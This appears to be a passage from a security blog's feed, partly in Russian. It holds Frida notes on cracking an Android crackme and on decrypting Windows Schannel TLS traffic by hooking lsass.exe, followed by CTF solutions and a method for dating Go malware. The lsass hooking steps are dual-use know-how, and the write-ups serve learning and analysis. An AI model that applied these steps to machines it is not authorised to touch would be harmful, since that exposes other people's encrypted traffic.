    <span class="n">iget</span><span class="o">-</span><span class="n">object</span> <span class="n">v1</span><span class="o">,</span> <span class="n">p0</span><span class="o">,</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">MainActivity</span><span class="o">;-&gt;</span><span class="nl">m:</span><span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">virtual</span> <span class="o">{</span><span class="n">v1</span><span class="o">,</span> <span class="n">p1</span><span class="o">},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;-&gt;</span><span class="n">a</span><span class="o">(</span><span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;)</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">p1</span>

    <span class="k">if</span><span class="o">-</span><span class="n">eqz</span> <span class="n">p1</span><span class="o">,</span> <span class="o">:</span><span class="n">cond_0</span>

    <span class="kd">const</span><span class="o">-</span><span class="n">string</span> <span class="n">p1</span><span class="o">,</span> <span class="s">"Success!"</span>
</code></pre></div></div>

<p>Здесь мы видим, что введенный нами текст в <code class="language-plaintext highlighter-rouge">EditText</code>, отправляется в функцию <code class="language-plaintext highlighter-rouge">sg/vantagepoint/uncrackable2/CodeCheck;-&gt;a</code> и если все удачно, нам говорят “Success!”. Очевидно, что именно там идет проверка нашего ввода на правильность. Откроем класс <code class="language-plaintext highlighter-rouge">sg.vantagepoint.uncrackable2.CodeCheck</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="na">method</span> <span class="kd">private</span> <span class="kd">native</span> <span class="nf">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>
<span class="o">.</span><span class="na">end</span> <span class="n">method</span>


<span class="err">#</span> <span class="n">virtual</span> <span class="n">methods</span>
<span class="o">.</span><span class="na">method</span> <span class="kd">public</span> <span class="nf">a</span><span class="o">(</span><span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;)</span><span class="no">Z</span>
    <span class="o">.</span><span class="na">locals</span> <span class="mi">0</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">virtual</span> <span class="o">{</span><span class="n">p1</span><span class="o">},</span> <span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;-&gt;</span><span class="n">getBytes</span><span class="o">()[</span><span class="no">B</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span><span class="o">-</span><span class="n">object</span> <span class="n">p1</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">direct</span> <span class="o">{</span><span class="n">p0</span><span class="o">,</span> <span class="n">p1</span><span class="o">},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;-&gt;</span><span class="n">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">p1</span>

    <span class="k">return</span> <span class="n">p1</span>
<span class="o">.</span><span class="na">end</span> <span class="n">method</span>
</code></pre></div></div>

<p>Наш ввод, передается в функцию <code class="language-plaintext highlighter-rouge">bar()</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">invoke</span><span class="o">-</span><span class="n">direct</span> <span class="o">{</span><span class="n">p0</span><span class="o">,</span> <span class="n">p1</span><span class="o">},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">uncrackable2</span><span class="o">/</span><span class="nc">CodeCheck</span><span class="o">;-&gt;</span><span class="n">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>
</code></pre></div></div>

<p>Обратите внимание на модификатор native функции</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="na">method</span> <span class="kd">private</span> <span class="kd">native</span> <span class="nf">bar</span><span class="o">([</span><span class="no">B</span><span class="o">)</span><span class="no">Z</span>
</code></pre></div></div>

<p>Модификатор native означает, что реализация метода находится в библиотеках, написанных на других языках. Чтобы работать с такими библиотеками, используется механизм <a href="https://developer.android.com/ndk/guides">JNI</a> (Java Native Interface). С помощью этого интерфейса, андроид приложение может вызывать код на С/С++. Значит, наше приложение использует внешнюю библиотеку. Найдем доказательство этому и сделаем поиск по исходникам, по слову <em>loadLibrary</em>. Находим следующий код в <code class="language-plaintext highlighter-rouge">MainActivity</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">#</span> <span class="n">direct</span> <span class="n">methods</span>
<span class="o">.</span><span class="na">method</span> <span class="kd">static</span> <span class="n">constructor</span> <span class="o">&lt;</span><span class="n">clinit</span><span class="o">&gt;()</span><span class="no">V</span>
    <span class="o">.</span><span class="na">locals</span> <span class="mi">1</span>

    <span class="kd">const</span><span class="o">-</span><span class="n">string</span> <span class="n">v0</span><span class="o">,</span> <span class="s">"foo"</span>

    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{</span><span class="n">v0</span><span class="o">},</span> <span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">System</span><span class="o">;-&gt;</span><span class="n">loadLibrary</span><span class="o">(</span><span class="nc">Ljava</span><span class="o">/</span><span class="n">lang</span><span class="o">/</span><span class="nc">String</span><span class="o">;)</span><span class="no">V</span>

    <span class="k">return</span><span class="o">-</span><span class="kt">void</span>
<span class="o">.</span><span class="na">end</span> <span class="n">method</span>
</code></pre></div></div>

<p>Этот код говорит нам о том, что приложение загружает библиотеку с именем <em>foo</em>. Если мы распакуем наше приложение, то в папке <em>lib</em> мы видим библиотеку <em>libfoo.so</em>. Теперь пришло время изучить ее. Так как у нас нет исходных кодов библиотеки и написана она на С/С++, то нам необходимо воспользоваться дизассемблером, в нашем случае - <a href="https://binary.ninja/">Binary Ninja</a>. Можно использовать бесплатную <a href="https://cloud.binary.ninja/">Веб версию</a>.</p>

<p>Открываем файл нашей библиотеки и находим в списке нашу функцию <code class="language-plaintext highlighter-rouge">bar</code></p>

<p><img src="/assets/images/ru/frida_notes/6.png" alt="" /></p>

<p>Открываем функцию. Углубляться в анализ ассемблерного кода мы сегодня не будем, возможно в другой жизни это сделаем. Просто обратите внимание на выделенный код и в особенности на hex значения</p>

<p><img src="/assets/images/ru/frida_notes/7.png" alt="" /></p>

<p>на адреса они не похожи, а похожи они на строки. Попробуем посмотреть опцией “отобразить, как символы”</p>

<p><img src="/assets/images/ru/frida_notes/8.png" alt="" /></p>

<p>Получилось вот так и это похоже на правду</p>

<p><img src="/assets/images/ru/frida_notes/9.png" alt="" /></p>

<p>Проделаем для всех значений</p>

<p><img src="/assets/images/ru/frida_notes/10.png" alt="" /></p>

<p>Эти части складываются в единную строку “Thanks for all the fish”. Далее по коду мы видим сравнение нашего ввода с этой строкой</p>

<p><img src="/assets/images/ru/frida_notes/11.png" alt="" /></p>

<p>Проверим строку в приложении</p>

<p><img src="/assets/images/ru/frida_notes/12й.png" alt="" /></p>

<p>Это и есть наша секретная строка!</p>

<h1 id="frida-tls">Frida TLS</h1>

<p><a href="https://b.poc.fun/decrypting-schannel-tls-part-1/">Подробное обьяснение принципа работы</a></p>

<p>С помощью Frida можно расшифровывать schannel TLS трафик (IIS, RDP, IE, Outlook, Powershell, LDAP …). Для этого нам понадобится скрипт <a href="https://github.com/ngo/win-frida-scripts/blob/master/lsasslkeylog-easy/keylog.js">keylog.js</a>, wireshark и для демонстрации будем использовать Windows 11.</p>

<p>SChannel a.k.a Secure Channel - это подсистема windows, используемая приложениями при работе с TLS (установка соединения, прием соединения от клиента).</p>

<p>keylog файл содержит значения, которые используются для генерации сессионых ключей TLS. Обьяснение данных в логе можно прочитать <a href="https://www.ietf.org/archive/id/draft-thomson-tls-keylogfile-00.html">тут</a></p>

<p><img src="/assets/images/ru/frida_notes/tls_7.png" alt="" /></p>

<p>Скрипт хукает функции библиотеки <code class="language-plaintext highlighter-rouge">ncrypt.dll</code>. Например, функция <code class="language-plaintext highlighter-rouge">SslHashHandshake</code> используется для генерации хэша во время SSL Handshake.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">shh</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">findExportByName</span><span class="p">(</span><span class="dl">'</span><span class="s1">ncrypt.dll</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">SslHashHandshake</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nx">shh</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">){</span>
	<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">shh</span><span class="p">,</span> <span class="p">{</span>
</code></pre></div></div>

<p>Дампает входящие аргументы функций связанных с TLS в кейлог файл, который затем добавляется в Wireshark.</p>

<ol>
  <li>Чтобы фрида смогла приатачится к lsass.exe, в настройках <code class="language-plaintext highlighter-rouge">Exploit protection</code> выставляем <code class="language-plaintext highlighter-rouge">hardware-enforced stack protection off</code>.</li>
</ol>

<p><img src="/assets/images/ru/frida_notes/tls_3.png" alt="" /></p>

<ol>
  <li>В скрипте <code class="language-plaintext highlighter-rouge">keylog.js</code> указываем путь к логу. Узнаем PID процесса lsass.exe и аттачимся к нему командой</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">frida -p PID -l SCRIPT</code></p>

<p><img src="/assets/images/ru/frida_notes/tls_2.png" alt="" /></p>

<ol>
  <li>
    <p>Открываем Wireshark</p>
  </li>
  <li>
    <p>Делаем какой либо HTTS запрос. Например:</p>
  </li>
</ol>

<p><code class="language-plaintext highlighter-rouge">Invoke-WebRequest -Uri "https://www.google.de" -Method GET -TimeoutSec 5</code></p>

<p>Убеждаемся, что видим только зашифрованный трафик.</p>

<ol>
  <li>
    <p>Файл лога <code class="language-plaintext highlighter-rouge">keylog.log</code> должен заполниться значениями.</p>
  </li>
  <li>
    <p>В Wireshark, в настройках <code class="language-plaintext highlighter-rouge">Edit-&gt;Preferences-&gt;Protocols-&gt;TLS</code> вводим путь к логу в <code class="language-plaintext highlighter-rouge">(Pre)-Master-Secret log filename</code></p>
  </li>
  <li>
    <p>Трафик, который был у нас в Wireshark расшифруется.</p>
  </li>
</ol>

<p><img src="/assets/images/ru/frida_notes/tls_1.png" alt="" /></p>

<p>Чистый запрос Invoke-WebRequest</p>

<p><img src="/assets/images/ru/frida_notes/tls_4.png" alt="" /></p>

<p>Чистый ответ гугла</p>

<p><img src="/assets/images/ru/frida_notes/tls_5.png" alt="" /></p>

<h1 id="frinet">Frinet</h1>

<p>Плагин для трейсинга с помощью фриды. Опция загрузки трейса становится доступна после загрузки бинарника.</p>

<p>Ссылки:</p>

<p>https://hex-rays.com/blog/plugin-focus-frinet/</p>

<p>https://blog.ret2.io/2021/04/20/tenet-trace-explorer/</p>

<h1 id="полезные-ссылки">Полезные ссылки</h1>

<p>Для <a href="https://t.me/ast2600/333">2600 митапа</a> я подготавливал <a href="https://github.com/thatskriptkid/thatskriptkid.github.io/blob/master/assets/files/2600/%D0%A7%D1%82%D0%BE%20%D1%82%D0%B0%D0%BA%D0%BE%D0%B5%20Frida_%202600.pdf">презентацию</a> по возможностям фриды.</p>

<p><a href="https://blog.quarkslab.com/android-greybox-fuzzing-with-afl-frida-mode.html">Android greybox fuzzing with AFL++ Frida mode</a></p>

<p>https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/</p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="note" /><summary type="html"><![CDATA[Это не полноценная статья! Это мои заметки по изучению фриды. Когда нужно быстро вспомнить какой-то аспект фриды, можно будет к ним быстро вернуться.]]></summary></entry><entry><title type="html">Решение тасков рутми</title><link href="https://orderofsixangles.com/ru/2024/04/05/rootme-ru.html" rel="alternate" type="text/html" title="Решение тасков рутми" /><published>2024-04-05T00:00:00+00:00</published><updated>2024-04-05T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/04/05/rootme-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/04/05/rootme-ru.html"><![CDATA[<h2 id="pe-x86---autope-medium">PE x86 - AutoPE (medium)</h2>

<p><a href="https://www.root-me.org/en/Challenges/Cracking/PE-x86-AutoPE">Ссылка на таск</a></p>

<p>Файл представляет собой x86 exe, с полем ввода пароля и кнопкой, которая запускает его проверку:</p>

<p><img src="/assets/images/ru/rootme/1.png" alt="" /></p>

<p>Из описания следует, что:</p>

<ol>
  <li>используется AutoIt</li>
  <li>конец файла (скорей всего имеется в виду autoit скрипт) - это только начало</li>
  <li>надо обратить внимание на “WTF”</li>
</ol>

<p><img src="/assets/images/ru/rootme/2.png" alt="" /></p>

<p>нам надо извлечь autoit скрипт из бинарника. Скачиваем <a href="https://exe2aut.com/exe2aut-converter/">exe2aut</a>. Закидываем наш бинарник и в итоге получаем исходный скрипт:</p>

<p><img src="/assets/images/ru/rootme/3.png" alt="" /></p>

<p>Чтобы удобно просматривать, редактировать и запускать скрипт, нам надо установить <a href="https://www.autoitscript.com/site/autoit/downloads/">SciTE4AutoIt3</a>. Открываем скрипт, и идем в самый конец (как было сказано в подсказке). Внизу мы видим небольшое количество функций, с “wtf” в именах, то что нужно:</p>

<p><img src="/assets/images/ru/rootme/4.png" alt="" /></p>

<p>Только в одной из них есть проверка чего-то на равенство:</p>

<p><img src="/assets/images/ru/rootme/5.png" alt="" /></p>

<p>Сравниваются переменные $wtf8 и $wtf9. Давайте выведем их значение:</p>

<p><img src="/assets/images/ru/rootme/7.png" alt="" /></p>

<p><img src="/assets/images/ru/rootme/6.png" alt="" /></p>

<p>Очевидно, что условие никогда не будет истинным, так как эти строки не равны. Давайте изменим это условие, чтобы оно стало истиным. Меняем <code class="language-plaintext highlighter-rouge">$wtf8 = $wtf9</code> на <code class="language-plaintext highlighter-rouge">$wtf8 &lt;&gt; wtf9</code>:</p>

<p><img src="/assets/images/ru/rootme/8.png" alt="" /></p>

<p>Теперь, запустив скрипт, мы увидим InputBox!</p>

<p><img src="/assets/images/ru/rootme/9.png" alt="" /></p>

<p>И внутри наш флаг!</p>

<p><img src="/assets/images/ru/rootme/10.jpg" alt="" /></p>

<h2 id="htb-easy">HTB easy</h2>

<p>Этот таск не из рутми, а из HTB ctf. Меня попросили помочь решить. У нас в руках 64 битный ELF бинарник:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>casino: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ac3d9d8a2c65ca7a0cb88af07efaec8c991c315d, for GNU/Linux 3.2.0, not stripped
</code></pre></div></div>

<p>Суть программы - считывание инпута длиной 0x1d, использование его в качестве seed для функции srand() и сравнение результата функции rand() с захардкоженым массивом:</p>

<p><img src="/assets/images/ru/rootme/htb_1.png" alt="" /></p>

<p>массив:</p>

<p><img src="/assets/images/ru/rootme/htb_2.png" alt="" /></p>

<p>Другими словами, нам надо подать на вход такие символы (%c), на основе которых будут сгенерированы определенные “псведослучайные” значения. Интуиция подсказала, что в начале надо проверить специальные символы. Был написан следующий код:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"stdio.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>


        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
        <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">a</span> <span class="o">=</span> <span class="s">"-*_+=-[]{}&amp;^%$#@!()"</span><span class="p">;</span>
        <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">19</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">srand</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"%x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">rand</span><span class="p">());</span>
<span class="p">};</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>В итоге удалось глазами сопоставить вывод с массивом и найти одно значение (подчеркивание) - “43383720 _”</p>

<p><img src="/assets/images/ru/rootme/htb_3.jpg" alt="" /></p>

<p>Уже лучше. Следующее предположение было о том, что используются ASCII символы. Для этого был написан простой брутер, который сравнивал поочередно значение из массива с каждым аски символом (от 0 до 127):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">"stdio.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
	<span class="kt">int</span> <span class="n">res</span><span class="p">[</span><span class="mh">0x1d</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x244B28BE</span><span class="p">,</span> <span class="mh">0x0AF77805</span><span class="p">,</span> <span class="mh">0x110DFC17</span><span class="p">,</span> <span class="mh">0x7AFC3A1</span><span class="p">,</span> <span class="mh">0x6AFEC533</span><span class="p">,</span>
	<span class="mh">0x4ED659A2</span><span class="p">,</span> <span class="mh">0x33C5D4B0</span><span class="p">,</span> <span class="mh">0x286582B8</span><span class="p">,</span> <span class="mh">0x43383720</span><span class="p">,</span> <span class="mh">0x55A14FC5</span><span class="p">,</span>
	<span class="mh">0x19195F9F</span><span class="p">,</span> <span class="mh">0x43383720</span><span class="p">,</span> <span class="mh">0x63149380</span><span class="p">,</span> <span class="mh">0x615AB299</span><span class="p">,</span> <span class="mh">0x6AFEC533</span><span class="p">,</span> <span class="mh">0x6C6FCFB8</span><span class="p">,</span>
	<span class="mh">0x43383720</span><span class="p">,</span> <span class="mh">0x0F3DA237</span><span class="p">,</span> <span class="mh">0x6AFEC533</span><span class="p">,</span> <span class="mh">0x615AB299</span><span class="p">,</span> <span class="mh">0x286582B8</span><span class="p">,</span> <span class="mh">0x55A14FC</span><span class="p">,</span> <span class="mh">0x3AE44994</span><span class="p">,</span> <span class="mh">0x6D7DFE9</span><span class="p">,</span> <span class="mh">0x4ED659A2</span><span class="p">,</span> <span class="mh">0x0CCD4ACD</span><span class="p">,</span> <span class="mh">0x57D8ED64</span><span class="p">,</span> <span class="mh">0x615AB299</span><span class="p">,</span> <span class="mh">0x22E9BC2A</span><span class="p">};</span>

	<span class="kt">int</span> <span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">,</span> <span class="n">check</span><span class="p">;</span>
	
	<span class="k">for</span><span class="p">(</span><span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span><span class="n">j</span> <span class="o">&lt;=</span> <span class="mh">0x1c</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o">&lt;</span><span class="mi">127</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> 
                <span class="n">srand</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
                <span class="n">check</span> <span class="o">=</span> <span class="n">rand</span><span class="p">();</span>
		
        		<span class="k">if</span> <span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">==</span> <span class="n">check</span><span class="p">)</span>
                    <span class="n">printf</span><span class="p">(</span><span class="s">"%c"</span><span class="p">,</span> <span class="n">i</span><span class="p">);</span>
        <span class="p">}</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>В итоге получим флаг.</p>

<h1 id="command--control---level-2-easy">Command &amp; Control - level 2 (Easy)</h1>

<p>Нам надо найти hostname в дампе. Для начала выполняем команду и смотрим общую информацию о дампе:</p>

<p><img src="/assets/images/ru/rootme/vol_1.png" alt="" /></p>

<p>Из этой информации берем имя профайла. Хостнейм хранится в реестре (можно загуглить где конкретно), будем искать его там:</p>

<p><img src="/assets/images/ru/rootme/vol_2.png" alt="" /></p>

<p>Находим!</p>

<p><img src="/assets/images/ru/rootme/vol_3.png" alt="" /></p>

<h1 id="command--control---level-3-medium">Command &amp; Control - level 3 (Medium)</h1>

<p>В этот раз нас просят найти некую малварь в дампе. Больше ничкаких деталей дано не было. Ответом будет являться путь к этой малвари. Этот таск я решил очень тупым способом и по сути неправильно. Я залез в реестр посмотреть на ключ RUN</p>

<p><img src="/assets/images/ru/rootme/vol_4.png" alt="" /></p>

<p>Увидев два бинарника я подумал, ну раз они в атозагрузке, то значит могут быть малварью. Засабмитил оба пути и один из них сработал (ieexplorer), лол! Прочитав решения других людей после сабмита я увидел как надо было правильно решать таск. А надо было вывести список процессов (pstree) и затем увидеть, что от ieexplorer.exe был вызван процесс cmd.exe, что уже очень подозрительно!</p>

<p><img src="/assets/images/ru/rootme/vol_5.png" alt="" /></p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="cracking" /><summary type="html"><![CDATA[PE x86 - AutoPE (medium)]]></summary></entry><entry><title type="html">Calculation of approximate (minimum) timestamp for golang elf malware</title><link href="https://orderofsixangles.com/en/2022/07/09/goelf-time-en.html" rel="alternate" type="text/html" title="Calculation of approximate (minimum) timestamp for golang elf malware" /><published>2022-07-09T00:00:00+00:00</published><updated>2022-07-09T00:00:00+00:00</updated><id>https://orderofsixangles.com/en/2022/07/09/goelf-time-en</id><content type="html" xml:base="https://orderofsixangles.com/en/2022/07/09/goelf-time-en.html"><![CDATA[<h2 id="intro">Intro</h2>

<p>Timestamp (or compilation date) is one of the main characteristics of malware. It allows you to understand whether the sample is new, whether the sample has been used in other attacks and give an idea of when the attack was approximately prepared. But what if the malware sample has ELF format, which, as you know, does not save the compilation date?</p>

<p>Golang malware has become very popular over the past few years.</p>

<p>
<details>
<summary> example </summary>
<pre>
1. Sandworm-Team (Exaramel-Linux)
2. APT28 Zebrocy
3. Ekans
4. Kinsing (miner)
5. Mustang Panda 
6. Rocke
7. APT29 WellMess/WellMail
8. Gobot
9. rocke
10. htran
11. goodor
12. FritzFrog
13. Gobrut
14. Geacon
15. Kaiji
16. NSPPS
17. Carbanak
18. Veil
19. AgeLocker
20. Notrobin
21. r2r2
22. Blackrota
23. IPStorm
24. RobbinHood
25. TinyBanker
26. CHAOS
27. NEsha
28. Hercules
29. Gandalf
30. RDW
31. hershell
32. ARCANUS
33. braincrypt
34. Klingon RAT
</pre>
</details>
</p>

<p>The universality of the language allows you to compile the same source code for different architectures and operating systems, including Linux (as an ELF file).</p>

<p>I recently watched a video <a href="https://www.youtube.com/watch?v=kwrIr8Ydwro">Golang Malware: Using the attackers force against them</a> which has an interesting point. The point is that it is possible to calculate an approximate timestamp of a binary using dependencies. The calculation algorithm from the video is as follows:</p>

<ol>
  <li>We take golang ELF malware</li>
  <li>Get a list of dependencies</li>
  <li>Get the dependency version</li>
  <li>Get the date of a specific version (release) of the dependency</li>
  <li>Create a list of dates</li>
  <li>We take the latest date, it will be the approximate (minimum) timestamp</li>
</ol>

<h2 id="code">Code</h2>

<p>I decided to implement this idea in the code. The <a href="github.com/goretk/gore">gore</a> project was used to get the dependencies. Keep in mind that dependencies can only be obtained from a binary if it has a <a href="https://www.mandiant.com/resources/golang-internals-symbol-recovery">gopclntab</a> section. We will consider the Kinsing malware sample as an example. <a href="https://attack.mitre.org/software/S0599/">Kinsing</a> is a golang linux malware that runs the miner. gore returns a list of dependencies like this:</p>

<pre>
\go\pkg\mod\github.com\armon\go-socks5@v0.0.0-20160902184237-e75332964ef5
\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\mem
\go\pkg\mod\github.com\kelseyhightower\envconfig@v1.4.0
\go\pkg\mod\github.com\tklauser\numcpus@v0.4.0
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\process
\go\pkg\mod\github.com\asaskevich\govalidator@v0.0.0-20210307081110-f21760c49a8d
\go\pkg\mod\github.com\google\btree@v1.0.1
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\cpu
\go\pkg\mod\github.com\hashicorp\yamux@v0.0.0-20211028200310-0bc27b27de87
\go\pkg\mod\github.com\peterbourgon\diskv@v2.0.1+incompatible
\go\pkg\mod\github.com\go-resty\resty\v2@v2.7.0
\go\pkg\mod\github.com\op\go-logging@v0.0.0-20160315200505-970db520ece7
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\context
\go\pkg\mod\golang.org\x\net@v0.0.0-20220225172249-27dd8689420f\publicsuffix
\go\pkg\mod\github.com\nu7hatch\gouuid@v0.0.0-20131221200532-179d4d0c4d8d
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\host
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\net
\go\pkg\mod\github.com\kardianos\osext@v0.0.0-20190222173326-2bc1f35cddc0
\go\pkg\mod\github.com\paulbellamy\ratecounter@v0.2.0
\go\pkg\mod\golang.org\x\sys@v0.0.0-20220319134239-a9b59b0215f8\unix
\go\pkg\mod\github.com\shirou\gopsutil@v3.21.11+incompatible\internal\common
</pre>

<p>If you look closely, you’ll find that Golang represents dependency versions in three ways:</p>

<p>1.v0.0.0-20160902184237-e75332964ef5</p>

<p>2.v3.21.11+incompatible\cpu</p>

<p>3.v0.3.10</p>

<p>In the first form, the version of the dependency is always v0.0.0, that is, the dependency has no releases, which means that the version string itself contains the creation date. Therefore, we simply take the date from the string.</p>

<p>In the second form, <code class="language-plaintext highlighter-rouge">incompatible</code> means that the dependency does not have a <code class="language-plaintext highlighter-rouge">go.mod</code> file and has a version greater than 2. We discard the word <code class="language-plaintext highlighter-rouge">incompatible</code> and take only the version.</p>

<p>In the third form, we have nothing but a version, so we move on to the next step.</p>

<p>Knowing only the version of the dependency, we can try to get the release date using the <a href="https://github.com/google/go-github">golang library for working with GithubAPI</a>. Let’s look at the dependency <code class="language-plaintext highlighter-rouge">\go\pkg\mod\github.com\tklauser\go-sysconf@v0.3.10</code> as an example.
Since not all repositories have releases but only tags, the <a href="https://docs.github.com/en/rest/git/tags#get-a-tag"><code class="language-plaintext highlighter-rouge">ListTags</code></a> method is used. <code class="language-plaintext highlighter-rouge">owner</code> and <code class="language-plaintext highlighter-rouge">repo</code> in this case will be <code class="language-plaintext highlighter-rouge">tklauser</code> and <code class="language-plaintext highlighter-rouge">go-sysconf</code></p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tags</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">ListTags</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>

<p>The response has info about each tag (release)</p>

<p><img src="/assets/images/golang_timestamp/1.png" alt="" /></p>

<p>The tag has a <code class="language-plaintext highlighter-rouge">commit</code> field with a <code class="language-plaintext highlighter-rouge">SHA</code> field. Using the Github Commit API we get commit information</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">commit</span><span class="p">,</span> <span class="n">resp</span><span class="p">,</span> <span class="n">err</span> <span class="o">:=</span> <span class="n">client</span><span class="o">.</span><span class="n">Repositories</span><span class="o">.</span><span class="n">GetCommit</span><span class="p">(</span><span class="n">context</span><span class="o">.</span><span class="n">Background</span><span class="p">(),</span> <span class="n">owner</span><span class="p">,</span> <span class="n">repo</span><span class="p">,</span> <span class="n">sha</span><span class="p">,</span> <span class="no">nil</span><span class="p">)</span>
</code></pre></div></div>

<p>The response will contain the date of the commit.</p>

<p><img src="/assets/images/golang_timestamp/2.png" alt="" /></p>

<p>Now we have specific date for a specific dependency. We find the latest date among result. This date is the approximate (minimum) timestamp of the sample:</p>

<p><img src="/assets/images/golang_timestamp/3.png" alt="" /></p>

